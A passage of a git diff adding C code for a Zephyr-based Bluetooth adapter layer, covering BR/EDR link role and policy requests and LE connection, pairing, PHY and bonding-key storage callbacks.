STACK_CALL(set_link_role)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)&req->addr); + + SAL_CHECK(bt_conn_switch_role(conn, req->adpt.role), 0); + bt_conn_unref(conn); +} +#endif + +bt_status_t bt_sal_set_link_role(bt_controller_id_t id, bt_address_t* addr, bt_link_role_t role) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(set_link_role)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.role = role; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(set_link_policy)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)&req->addr); + uint16_t policy = 0; + + switch (req->adpt.policy) { + case BT_BR_LINK_POLICY_DISABLE_ALL: + break; + case BT_BR_LINK_POLICY_ENABLE_ROLE_SWITCH: + policy = 1 << BT_HCI_POLICY_ROLE_SWITCH; + break; + case BT_BR_LINK_POLICY_ENABLE_SNIFF: + policy = 1 << BT_HCI_POLICY_SNIFF_MODE; + break; + case BT_BR_LINK_POLICY_ENABLE_ROLE_SWITCH_AND_SNIFF: + policy = (1 << BT_HCI_POLICY_ROLE_SWITCH) | (1 << BT_HCI_POLICY_SNIFF_MODE); + break; + default: + break; + } + + if (!bt_conn_set_link_policy_settings(conn, policy)) { + adapter_on_link_policy_changed(&req->addr, req->adpt.policy); + } + + bt_conn_unref(conn); +} +#endif + +bt_status_t bt_sal_set_link_policy(bt_controller_id_t id, bt_address_t* addr, bt_link_policy_t policy) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(set_link_policy)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.policy = policy; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(set_afh_channel_classification)(void* args) +{ +} +#endif + +bt_status_t bt_sal_set_afh_channel_classification(bt_controller_id_t id, uint16_t central_frequency, + uint16_t band_width, uint16_t number) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_afh_channel_classification)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.afh.central_frequency = central_frequency; + req->adpt.afh.band_width = band_width; + req->adpt.afh.number = number; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(set_afh_channel_classification_1)(void* args) +{ +} +#endif + +bt_status_t bt_sal_set_afh_channel_classification_1(bt_controller_id_t id, uint8_t* map) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_afh_channel_classification_1)); + if (!req) + return BT_STATUS_NOMEM; + + memcpy(req->adpt.map, map, 10); + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +/* VSC */ +bt_status_t bt_sal_send_hci_command(bt_controller_id_t id, uint8_t ogf, uint16_t ocf, uint8_t length, uint8_t* buf, + bt_hci_event_callback_t cb, void* context) +{ + UNUSED(id); + SAL_NOT_SUPPORT; +} diff --git a/service/stacks/zephyr/sal_adapter_le_interface.c b/service/stacks/zephyr/sal_adapter_le_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..78bc82af7ba0e306f98181bda2893ec8fbd06c02 --- /dev/null +++ b/service/stacks/zephyr/sal_adapter_le_interface.c @@ -0,0 +1,1732 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for th specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "sal_adapter_le_interface.h" + +#include "adapter_internel.h" +#include "gattc_service.h" +#include "gatts_service.h" +#include "sal_gatt_client_interface.h" +#include "sal_gatt_server_interface.h" +#include "sal_interface.h" +#include "service_loop.h" + +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/conn.h> +#include <zephyr/bluetooth/hci.h> +#include <zephyr/bluetooth/hci_types.h> + +#include <settings_zblue.h> +#include <zephyr/settings/settings.h> + +#include "keys.h" + +#include "utils/log.h" + +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + +#define STACK_CALL(func) zblue_##func + +typedef void (*sal_func_t)(void* args); + +typedef union { + struct bt_conn_le_phy_param phy_param; + struct { + struct bt_conn_le_create_param create; + struct bt_le_conn_param conn; + } conn_param; + struct { + void* key; + uint8_t id; + } le_set_bond; + int security_level; + bool bondable; +} sal_adapter_args_t; + +typedef struct { + struct bt_conn* conn; + bt_address_t addr; + uint8_t role; // e.g., GATT_ROLE_SERVER +} le_conn_info_t; + +typedef struct { + bt_controller_id_t id; + bt_address_t addr; + ble_addr_type_t addr_type; + sal_func_t func; + sal_adapter_args_t adpt; +} sal_adapter_req_t; + +typedef struct { + remote_device_le_properties_t* props; + uint16_t* cnt; +} device_context_t; + +extern void z_sys_init(void); + +static void zblue_on_connected(struct bt_conn* conn, uint8_t err); +static void zblue_on_disconnected(struct bt_conn* conn, uint8_t reason); +#ifdef CONFIG_BT_SMP +static void zblue_on_security_changed(struct bt_conn* conn, bt_security_t level, enum bt_security_err err); +static void zblue_on_pairing_complete_ctkd(struct bt_conn* conn, bool is_link_key); +#endif +static void zblue_on_pairing_complete(struct bt_conn* conn, bool bonding_flag); +static void zblue_on_pairing_failed(struct bt_conn* conn, enum bt_security_err reason); +static void zblue_on_bond_deleted(uint8_t id, const bt_addr_le_t* peer); +static void zblue_convert_le_addr(bt_address_t* addr, ble_addr_type_t type, bt_addr_le_t* le_addr); +#if defined(CONFIG_SETTINGS_ZBLUE) +static int zblue_on_irk_notify(uint8_t dev_id, const char* key_value, uint8_t value_len); +static int zblue_on_irk_load(uint8_t* key_value, uint8_t value_len); +static int zblue_on_ltk_notify(uint8_t dev_id, uint8_t id, bt_addr_le_t* addr, const char* key_value, uint8_t value_len); +static int zblue_on_ltk_load(bt_addr_le_t* addr, uint8_t* key_value, uint8_t value_len); +#endif +#if defined(CONFIG_BT_USER_PHY_UPDATE) +static void zblue_on_phy_updated(struct bt_conn* conn, struct bt_conn_le_phy_info* info); +#endif +static void zblue_on_param_updated(struct bt_conn* conn, uint16_t interval, uint16_t latency, uint16_t timeout); + +#ifdef CONFIG_BT_SMP +static void zblue_on_auth_passkey_display(struct bt_conn* conn, unsigned int passkey); +static void zblue_on_auth_passkey_confirm(struct bt_conn* conn, unsigned int passkey); +static void zblue_on_auth_passkey_entry(struct bt_conn* conn); +static void zblue_on_auth_cancel(struct bt_conn* conn); +static void zblue_on_auth_pairing_confirm(struct bt_conn* conn); +#ifdef CONFIG_BT_SMP_APP_PAIRING_ACCEPT +static enum bt_security_err zblue_on_pairing_accept(struct bt_conn* conn, const struct bt_conn_pairing_feat* const feat); +#endif +#endif +static void zblue_register_callback(void); +static void zblue_unregister_callback(void); + +static le_conn_info_t* le_conn_add(const bt_address_t* addr); +static le_conn_info_t* le_conn_find(const bt_address_t* addr); + +static struct bt_conn_cb g_conn_cbs = { + .connected = zblue_on_connected, + .disconnected = zblue_on_disconnected, +#ifdef CONFIG_BT_SMP + .security_changed = zblue_on_security_changed, +#endif + .le_param_updated = zblue_on_param_updated, +#if defined(CONFIG_BT_USER_PHY_UPDATE) + .le_phy_updated = zblue_on_phy_updated, +#endif +}; + +static struct bt_conn_auth_info_cb g_conn_auth_info_cbs = { + .pairing_complete_ctkd = zblue_on_pairing_complete_ctkd, + .pairing_complete = zblue_on_pairing_complete, + .pairing_failed = zblue_on_pairing_failed, + .bond_deleted = zblue_on_bond_deleted, +}; + +#if defined(CONFIG_SETTINGS_ZBLUE) +static struct bt_settings_zblue_cb g_setting_cbs = { + .irk_notify = zblue_on_irk_notify, + .irk_load = zblue_on_irk_load, + .ltk_notify = zblue_on_ltk_notify, + .ltk_load = zblue_on_ltk_load, +}; +#endif + +static struct bt_conn_auth_cb g_conn_auth_cbs; +static le_conn_info_t g_le_conn_info[CONFIG_BT_MAX_CONN]; +static bt_security_t g_security_level = BT_SECURITY_L2; + +static uint8_t zblue_convert_addr_type(ble_addr_type_t addr_type) +{ + uint8_t type; + + switch (addr_type) { + case BT_LE_ADDR_TYPE_PUBLIC: + type = BT_ADDR_LE_PUBLIC; + break; + case BT_LE_ADDR_TYPE_RANDOM: + type = BT_ADDR_LE_RANDOM; + break; + case BT_LE_ADDR_TYPE_PUBLIC_ID: + type = BT_ADDR_LE_PUBLIC_ID; + break; + case BT_LE_ADDR_TYPE_RANDOM_ID: + type = BT_ADDR_LE_RANDOM_ID; + break; + case BT_LE_ADDR_TYPE_ANONYMOUS: + type = BT_ADDR_LE_ANONYMOUS; + break; + case BT_LE_ADDR_TYPE_UNKNOWN: + type = BT_ADDR_LE_RANDOM; + break; + default: + BT_LOGE("%s, invalid type:%d", __func__, addr_type); + assert(0); + } + + return type; +} + +#if defined(CONFIG_SETTINGS_ZBLUE) +static int zblue_on_irk_notify(uint8_t dev_id, const char* key_value, uint8_t value_len) +{ + BT_LOGD("%s", __func__); + + adapter_on_irk_changed(key_value, value_len); + + return 0; +} + +static bool irk_is_empty(const uint8_t* irk) +{ + for (int i = 0; i < 16; i++) { + if (irk[i] != 0) { + return false; + } + } + + return true; +} + +static int zblue_on_irk_load(uint8_t* key_value, uint8_t value_len) +{ + uint8_t* irk; + + irk = adapter_get_local_irk(); + if (irk_is_empty(irk)) { + return 0; + } + + memcpy(key_value, irk, value_len); + return value_len; +} +/** + * struct smp_key { + * uint8_t id_addr[6]; + * uint8_t id_addr_type; + * uint8_t id_num; + * + * uint8_t enc_size; + * + * uint8_t flags; + * + * uint8_t ltk[16]; + * uint8_t ediv[2]; + * uint8_t rand[8]; + * + * uint8_t irk[16]; + * + * uint8_t csrk[16]; + * + * uint8_t rpa_addr[6]; + * uint8_t rpa_addr_type; + * uint8_t id_num; + * + * uint16_t keys; + * }; + */ +static int zblue_on_ltk_notify(uint8_t dev_id, uint8_t id, bt_addr_le_t* addr, const char* key_value, uint8_t value_len) +{ + remote_device_le_properties_t* prop; + struct bt_keys* keys; + bt_address_t le_addr; + BT_LOGD("%s", __func__); + + if (!key_value) { + BT_LOGD("%s, delete key_value", __func__); + return 0; + } + + prop = zalloc(sizeof(remote_device_le_properties_t)); + if (!prop) { + BT_LOGD("%s, prop malloc failed", __func__); + return -ENOSPC; + } + + keys = (struct bt_keys*)zalloc(sizeof(struct bt_keys)); + if (!keys) { + BT_LOGD("%s, keys malloc failed", __func__); + free(prop); + return -ENOSPC; + } + + memcpy(keys->storage_start, key_value, value_len); + + memcpy(le_addr.addr, keys->irk.rpa.val, sizeof(le_addr.addr)); + if (!bt_addr_is_empty(&le_addr)) { + memcpy(prop->addr.addr, keys->irk.rpa.val, sizeof(prop->addr.addr)); + prop->addr_type = BT_LE_ADDR_TYPE_RANDOM; + } else { + memcpy(prop->addr.addr, addr->a.val, sizeof(prop->addr.addr)); + prop->addr_type = BT_LE_ADDR_TYPE_PUBLIC; + } + + /** + * smp[0 ~ 5] id_addr + * smp[6] id_addr type + * smp[7] id_addr cap/id_num + */ + memcpy(&prop->smp_key[0], addr->a.val, 6); + prop->smp_key[6] = addr->type; + + /* SMP[8] LTK_len */ + prop->smp_key[8] = keys->enc_size; + + /* smp[9] LTK fea/flags */ + prop->smp_key[9] = keys->flags; + /* smp[10 ~ 11] div[2](unused); */ + + /** + * smp[12 ~ 27] LTK key + * smp[28 ~ 29] ediv(legacy) + * smp[30 ~ 37] rand(legacy) + */ + if (keys->keys & BT_KEYS_PERIPH_LTK) { + memcpy(&prop->smp_key[12], keys->periph_ltk.val, 16); + memcpy(&prop->smp_key[28], keys->periph_ltk.ediv, 2); + memcpy(&prop->smp_key[30], keys->periph_ltk.rand, 8); + } else { + memcpy(&prop->smp_key[12], keys->ltk.val, 16); + memcpy(&prop->smp_key[28], keys->ltk.ediv, 2); + memcpy(&prop->smp_key[30], keys->ltk.rand, 8); + } + + /* smp[38 ~ 53] IRK */ + memcpy(&prop->smp_key[38], keys->irk.val, 16); + /* smp[54 ~ 69] CSRK(remote) */ + memcpy(&prop->smp_key[54], keys->remote_csrk.val, 16); + + // smp[70 ~ 77] addr { addr[6], type[1], cap[1]/id_num[1] }; + memcpy(&prop->smp_key[70], prop->addr.addr, sizeof(prop->addr.addr)); + prop->smp_key[76] = prop->addr_type; + + /* smp[78 ~ 79] RFU/keys; */ + memcpy(&prop->smp_key[78], &keys->keys, 2); + + memcpy(prop->local_csrk, keys->local_csrk.val, 16); + + adapter_on_le_bonded_device_update(prop, 1); + free(prop); + free(keys); + + return 0; +} + +static int zblue_on_ltk_load(bt_addr_le_t* addr, uint8_t* key_value, uint8_t value_len) +{ + BT_LOGD("%s", __func__); + uint8_t *smp_data, *local_csrk; + bt_address_t le_addr, *remote_addr; + struct bt_keys* keys; + + keys = (struct bt_keys*)zalloc(sizeof(struct bt_keys)); + if (!keys) { + BT_LOGE("%s, malloc failed", __func__); + return -ENOSPC; + } + + /* get information */ + memcpy(&le_addr, addr->a.val, sizeof(le_addr.addr)); + remote_addr = adapter_get_le_remote_address(&le_addr, addr->type); + local_csrk = adapter_get_local_csrk(remote_addr); + smp_data = adapter_get_smp_data(remote_addr); + if (!smp_data) { + BT_LOGE("%s, smp_data is NULL", __func__); + free(keys); + return -EINVAL; + } + + /* Rearrange data */ + keys->enc_size = smp_data[8]; + keys->flags = smp_data[9]; + + memcpy(&keys->keys, &smp_data[78], 2); + + if (keys->keys & BT_KEYS_PERIPH_LTK) { + memcpy(keys->periph_ltk.val, &smp_data[12], 16); + memcpy(keys->periph_ltk.ediv, &smp_data[28], 2); + memcpy(keys->periph_ltk.rand, &smp_data[30], 8); + } else { + memcpy(keys->ltk.val, &smp_data[12], 16); + memcpy(keys->ltk.ediv, &smp_data[28], 2); + memcpy(keys->ltk.rand, &smp_data[30], 8); + } + + memcpy(keys->irk.val, &smp_data[38], 16); + + memcpy(keys->irk.rpa.val, remote_addr->addr, sizeof(remote_addr->addr)); + + memcpy(keys->remote_csrk.val, &smp_data[54], 16); + + if (local_csrk) + memcpy(keys->local_csrk.val, local_csrk, 16); + + memcpy(key_value, keys->storage_start, value_len); + + free(keys); + + return value_len; +} +#endif + +static void zblue_on_connected(struct bt_conn* conn, uint8_t err) +{ + uint8_t role; + struct bt_conn_info info; + le_conn_info_t* slot; +#if defined(CONFIG_BLUETOOTH_GATT_CLIENT) || defined(CONFIG_BLUETOOTH_GATT_SERVER) + profile_connection_state_t profile_state = PROFILE_STATE_CONNECTED; +#endif + + bt_address_t le_addr; + bt_address_t* remote_addr; + acl_state_param_t state = { + .transport = BT_TRANSPORT_BLE, + .connection_state = CONNECTION_STATE_CONNECTED + }; + + BT_LOGD("%s, err:%d", __func__, err); + bt_conn_get_info(conn, &info); + + if (info.type != BT_CONN_TYPE_LE) { + return; + } + + memcpy(&le_addr, info.le.dst->a.val, sizeof(le_addr.addr)); + remote_addr = adapter_get_le_remote_address(&le_addr, info.le.dst->type); + if (remote_addr) { + memcpy(&state.addr, remote_addr, sizeof(state.addr)); + state.addr_type = adapter_get_le_remote_address_type(remote_addr); + } else { + memcpy(&state.addr, &le_addr, sizeof(state.addr)); + state.addr_type = info.le.dst->type; + } + + if (err) { + state.connection_state = CONNECTION_STATE_DISCONNECTED; + state.status = err; +#if defined(CONFIG_BLUETOOTH_GATT_CLIENT) || defined(CONFIG_BLUETOOTH_GATT_SERVER) + profile_state = PROFILE_STATE_DISCONNECTED; +#endif + + if (info.role == BT_HCI_ROLE_CENTRAL) { + bt_conn_unref(conn); + } + } + + slot = le_conn_add(&state.addr); + + if (!slot) { + return; + } + + if (!err) { + slot->conn = conn; + if (!slot->role) { + slot->role |= GATT_ROLE_SERVER; + } + } + + role = slot->role; + + if (err || (slot->conn == NULL)) { + le_conn_remove(&state.addr); + slot = NULL; + } + + adapter_on_connection_state_changed(&state); +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + if (role & GATT_ROLE_SERVER) { + bt_sal_gatt_server_connection_state_changed_callback(PRIMARY_ADAPTER, &state.addr, profile_state); + } +#endif + +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + if (role & GATT_ROLE_CLIENT) { + bt_sal_gatt_client_connection_state_changed_callback(PRIMARY_ADAPTER, &state.addr, profile_state); + } +#endif +} + +bt_status_t bt_sal_get_identity_addr(bt_address_t* addr, bt_address_t* id_addr) +{ + struct bt_conn_info info; + struct bt_conn* conn; + + BT_LOGD("%s", __func__); + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + bt_addr_set_empty(id_addr); + return BT_STATUS_FAIL; + } + + bt_conn_get_info(conn, &info); + if (info.type != BT_CONN_TYPE_LE) { + bt_addr_set_empty(id_addr); + return BT_STATUS_FAIL; + } + + memcpy(id_addr, info.le.dst->a.val, sizeof(id_addr->addr)); + return BT_STATUS_SUCCESS; +} + +static void zblue_on_disconnected(struct bt_conn* conn, uint8_t reason) +{ + struct bt_conn_info info; + le_conn_info_t* slot; + uint8_t role; + bt_address_t le_addr; + bt_address_t* remote_addr; + acl_state_param_t state = { + .transport = BT_TRANSPORT_BLE, + .connection_state = CONNECTION_STATE_DISCONNECTED, + .hci_reason_code = reason + }; + + BT_LOGD("%s", __func__); + bt_conn_get_info(conn, &info); + + if (info.type != BT_CONN_TYPE_LE) { + return; + } + + if (info.role == BT_HCI_ROLE_CENTRAL) { + bt_conn_unref(conn); + } + + memcpy(&le_addr, info.le.dst->a.val, sizeof(le_addr.addr)); + remote_addr = adapter_get_le_remote_address(&le_addr, info.le.dst->type); + if (remote_addr) { + memcpy(&state.addr, remote_addr, sizeof(state.addr)); + state.addr_type = adapter_get_le_remote_address_type(remote_addr); + } else { + memcpy(&state.addr, info.le.remote->a.val, sizeof(state.addr)); + state.addr_type = info.le.remote->type; + } + + slot = le_conn_find(&state.addr); + + if (!slot) { + return; + } + + role = slot->role; + le_conn_remove(&state.addr); + slot = NULL; + + adapter_on_connection_state_changed(&state); +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + if (role & GATT_ROLE_SERVER) { + bt_sal_gatt_server_connection_state_changed_callback(PRIMARY_ADAPTER, &state.addr, PROFILE_STATE_DISCONNECTED); + } +#endif + +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + if (role & GATT_ROLE_CLIENT) { + bt_sal_gatt_client_connection_state_changed_callback(PRIMARY_ADAPTER, &state.addr, PROFILE_STATE_DISCONNECTED); + } +#endif +} + +#ifdef CONFIG_BT_SMP +static void zblue_on_security_changed(struct bt_conn* conn, bt_security_t level, + enum bt_security_err err) +{ + struct bt_conn_info info; + bt_address_t addr; + bt_address_t le_addr; + bt_address_t* remote_addr; + int ret; + bool encrypted = false; + + BT_LOGD("%s", __func__); + bt_conn_get_info(conn, &info); + + if (info.type != BT_CONN_TYPE_LE) { + return; + } + + memcpy(&le_addr, info.le.dst->a.val, sizeof(le_addr.addr)); + remote_addr = adapter_get_le_remote_address(&le_addr, info.le.dst->type); + if (remote_addr) { + memcpy(&addr, remote_addr, sizeof(addr.addr)); + } else { + memcpy(&addr, info.le.remote->a.val, sizeof(addr.addr)); + } + + if (err && !adapter_get_pts_mode()) { + adapter_on_bond_state_changed(&addr, BOND_STATE_NONE, BT_TRANSPORT_BLE, BT_STATUS_FAIL, false); + BT_LOGD("%s, err: %d, remove old key", __func__, err); + ret = bt_unpair(BT_ID_DEFAULT, info.le.dst); + if (ret < 0) { + BT_LOGE("%s, Failed to remove old key: %d", __func__, ret); + } + } + + if (level >= BT_SECURITY_L2 && err == BT_SECURITY_ERR_SUCCESS) { + encrypted = true; + } + + adapter_on_encryption_state_changed(&addr, encrypted, BT_TRANSPORT_BLE); +} +#endif + +static void zblue_on_param_updated(struct bt_conn* conn, uint16_t interval, uint16_t latency, uint16_t timeout) +{ + struct bt_conn_info info; + bt_address_t addr; + bt_address_t le_addr; + bt_address_t* remote_addr; + + bt_conn_get_info(conn, &info); + memcpy(&le_addr, info.le.dst->a.val, sizeof(le_addr.addr)); + remote_addr = adapter_get_le_remote_address(&le_addr, info.le.dst->type); + if (remote_addr) { + memcpy(&addr, remote_addr, sizeof(addr.addr)); + } else { + memcpy(&addr, info.le.remote->a.val, sizeof(addr.addr)); + } + + BT_LOGD("%s, interval:%d, latency:%d, timeout:%d", __func__, interval, latency, timeout); + +#if defined(CONFIG_BLUETOOTH_GATT_CLIENT) + if (info.role == BT_HCI_ROLE_CENTRAL) { + if_gattc_on_connection_parameter_updated(&addr, interval, latency, timeout, BT_STATUS_SUCCESS); + } +#endif +} + +#if defined(CONFIG_BT_USER_PHY_UPDATE) +ble_phy_type_t le_phy_convert_from_stack(uint8_t mode) +{ + ble_phy_type_t phy; + + switch (mode) { + case BT_GAP_LE_PHY_1M: + phy = BT_LE_1M_PHY; + break; + case BT_GAP_LE_PHY_2M: + phy = BT_LE_2M_PHY; + break; + case BT_GAP_LE_PHY_CODED: + phy = BT_LE_CODED_PHY; + default: + BT_LOGE("%s, invalid phy:%d", __func__, mode); + assert(0); + break; + } + + return phy; +} + +uint8_t le_phy_convert_from_service(ble_phy_type_t mode) +{ + uint8_t phy; + + switch (mode) { + case BT_LE_1M_PHY: + phy = BT_GAP_LE_PHY_1M; + break; + case BT_LE_2M_PHY: + phy = BT_GAP_LE_PHY_2M; + break; + case BT_LE_CODED_PHY: + phy = BT_GAP_LE_PHY_CODED; + default: + BT_LOGE("%s, invalid phy:%d", __func__, mode); + assert(0); + break; + } + + return phy; +} + +static void zblue_on_phy_updated(struct bt_conn* conn, struct bt_conn_le_phy_info* phy) +{ + struct bt_conn_info info; + bt_address_t addr; + bt_address_t le_addr; + bt_address_t* remote_addr; + ble_phy_type_t tx_mode; + ble_phy_type_t rx_mode; + + bt_conn_get_info(conn, &info); + + tx_mode = le_phy_convert_from_stack(phy->tx_phy); + rx_mode = le_phy_convert_from_stack(phy->rx_phy); + + BT_LOGD("%s, tx phy:%d, rx phy:%d", __func__, tx_mode, rx_mode); + memcpy(&le_addr, info.le.dst->a.val, sizeof(le_addr.addr)); + remote_addr = adapter_get_le_remote_address(&le_addr, info.le.dst->type); + if (remote_addr) { + memcpy(&addr, remote_addr, sizeof(addr.addr)); + } else { + memcpy(&addr, info.le.remote->a.val, sizeof(addr.addr)); + } + + if_gatts_on_phy_updated(&addr, tx_mode, rx_mode, GATT_STATUS_SUCCESS); + + if (info.role == BT_HCI_ROLE_PERIPHERAL) { + if_gatts_on_phy_updated(&addr, tx_mode, rx_mode, GATT_STATUS_SUCCESS); + } else if (info.role == BT_HCI_ROLE_CENTRAL) { + if_gattc_on_phy_updated(&addr, tx_mode, rx_mode, GATT_STATUS_SUCCESS); + } +} +#endif /*CONFIG_BT_USER_PHY_UPDATE*/ + +static void zblue_on_pairing_complete_ctkd(struct bt_conn* conn, bool is_link_key) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + bt_address_t addr; + const bt_addr_t* dst; + + if (is_link_key) { + return; + } + + BT_LOGD("%s", __func__); + + dst = bt_conn_get_dst_br(conn); + if (!dst) { + return; + } + + memcpy(addr.addr, dst->val, sizeof(addr.addr)); + + adapter_on_bond_state_changed(&addr, BOND_STATE_BONDED, BT_TRANSPORT_BLE, BT_STATUS_SUCCESS, true); +#endif +} + +static void zblue_on_pairing_complete(struct bt_conn* conn, bool bonding_flag) +{ + bt_address_t addr; + + if (!bt_conn_get_dst(conn)) { + return; + } + + if (get_le_addr_from_conn(conn, &addr) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_le_addr_from_conn failed", __func__); + return; + } + + BT_LOGD("%s bonding_flag: %s", __func__, bonding_flag ? "true" : "false"); + + adapter_on_bond_state_changed(&addr, BOND_STATE_BONDED, BT_TRANSPORT_BLE, BT_STATUS_SUCCESS, false); +} + +static void zblue_on_pairing_failed(struct bt_conn* conn, enum bt_security_err reason) +{ + bt_address_t addr; + + BT_LOGD("%s", __func__); + + if (get_le_addr_from_conn(conn, &addr) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_le_addr_from_conn failed", __func__); + return; + } + + adapter_on_bond_state_changed(&addr, BOND_STATE_NONE, BT_TRANSPORT_BLE, BT_STATUS_AUTH_FAILURE, false); + if (!adapter_get_pts_mode()) + bt_conn_disconnect(conn, BT_HCI_ERR_AUTH_FAIL); +} + +static void zblue_on_bond_deleted(uint8_t id, const bt_addr_le_t* peer) +{ + bt_address_t addr; + bool is_ctkd = false; + bt_address_t* remote_addr; + remote_device_le_properties_t* prop = zalloc(sizeof(remote_device_le_properties_t) * 0); + + BT_LOGD("%s", __func__); + + memcpy(&addr, peer->a.val, sizeof(addr.addr)); + remote_addr = adapter_get_le_remote_address(&addr, peer->type); + if (!remote_addr) { + BT_LOGE("%s, not found remote device", __func__); + return; + } + + adapter_on_bond_state_changed(remote_addr, BOND_STATE_NONE, BT_TRANSPORT_BLE, BT_STATUS_SUCCESS, is_ctkd); + adapter_on_le_bonded_device_update(prop, 0); + free(prop); +} + +static void zblue_register_callback(void) +{ + bt_conn_cb_register(&g_conn_cbs); +#ifdef CONFIG_BT_SMP + bt_conn_le_auth_cb_register(&g_conn_auth_cbs); + bt_conn_auth_info_cb_register(&g_conn_auth_info_cbs); +#endif +#ifdef CONFIG_SETTINGS_ZBLUE + bt_setting_cb_register(&g_setting_cbs); +#endif +} + +static void zblue_unregister_callback(void) +{ + bt_conn_cb_unregister(&g_conn_cbs); +#ifdef CONFIG_BT_SMP + bt_conn_le_auth_cb_register(NULL); + bt_conn_auth_info_cb_unregister(&g_conn_auth_info_cbs); +#endif +} + +static void zblue_on_ready_cb(bt_controller_id_t dev_id, int err) +{ + UNUSED(dev_id); + + if (err) { + BT_LOGD("zblue init failed (err %d)\n", err); + adapter_on_adapter_state_changed(BT_BREDR_STACK_STATE_OFF); + return; + } + + zblue_register_callback(); + adapter_on_adapter_info_load(); + if (IS_ENABLED(CONFIG_SETTINGS)) { + settings_load(); + } + + adapter_on_adapter_state_changed(BLE_STACK_STATE_ON); +} + +static sal_adapter_req_t* sal_adapter_req(bt_controller_id_t id, bt_address_t* addr, sal_func_t func) +{ + sal_adapter_req_t* req = calloc(sizeof(sal_adapter_req_t), 1); + + if (req) { + req->id = id; + req->func = func; + if (addr) + memcpy(&req->addr, addr, sizeof(bt_address_t)); + } + + return req; +} + +static void sal_invoke_async(service_work_t* work, void* userdata) +{ + sal_adapter_req_t* req = userdata; + + SAL_ASSERT(req); + req->func(req); + free(userdata); +} + +static bt_status_t sal_send_req(sal_adapter_req_t* req) +{ + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (!service_loop_work((void*)req, sal_invoke_async, NULL)) { + BT_LOGE("%s, service_loop_work failed", __func__); + free(req); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static le_conn_info_t* le_conn_find(const bt_address_t* addr) +{ + for (int i = 0; i < CONFIG_BT_MAX_CONN; i++) { + if (!bt_addr_compare(&g_le_conn_info[i].addr, addr)) { + return &g_le_conn_info[i]; + } + } + + return NULL; +} + +bt_status_t get_le_addr_from_conn(struct bt_conn* conn, bt_address_t* addr) +{ + struct bt_conn_info info; + bt_address_t* resolved_addr; + + /* Check local connection info table first */ + for (int i = 0; i < CONFIG_BT_MAX_CONN; i++) { + if (g_le_conn_info[i].conn == conn) { + memcpy(addr, &g_le_conn_info[i].addr, sizeof(bt_address_t)); + return BT_STATUS_SUCCESS; + } + } + + /* + * Fallback: g_le_conn_info may not be initialized yet if certain events + * (e.g. MTU exchange) occur before the connected callback. + * Use Zephyr's internal connection info as a fallback source. + */ + if (bt_conn_get_info(conn, &info)) { + BT_LOGE("%s: failed to get conn info", __func__); + return BT_STATUS_FAIL; + } + + if (info.type != BT_CONN_TYPE_LE || !info.le.dst) { + BT_LOGE("%s: invalid LE connection or dst is null", __func__); + return BT_STATUS_FAIL; + } + + /* Attempt to resolve RPA to identity address */ + resolved_addr = adapter_get_le_remote_address((bt_address_t*)info.le.dst->a.val, + info.le.dst->type); + if (resolved_addr) { + memcpy(addr, resolved_addr, sizeof(bt_address_t)); + BT_LOGD("%s: fallback to bt_conn_info and resolved RPA to identity address", __func__); + } else { + memcpy(addr, info.le.remote->a.val, sizeof(bt_address_t)); + } + + return BT_STATUS_SUCCESS; +} + +struct bt_conn* get_le_conn_from_addr(bt_address_t* addr) +{ + le_conn_info_t* info; + + info = le_conn_find(addr); + + return info ? info->conn : NULL; +} + +static le_conn_info_t* le_conn_add(const bt_address_t* addr) +{ + le_conn_info_t* info = le_conn_find(addr); + if (info) { + return info; + } + + for (int i = 0; i < CONFIG_BT_MAX_CONN; i++) { + if (!g_le_conn_info[i].conn && bt_addr_is_empty(&g_le_conn_info[i].addr)) { + memcpy(g_le_conn_info[i].addr.addr, addr->addr, BT_ADDR_LENGTH); + return 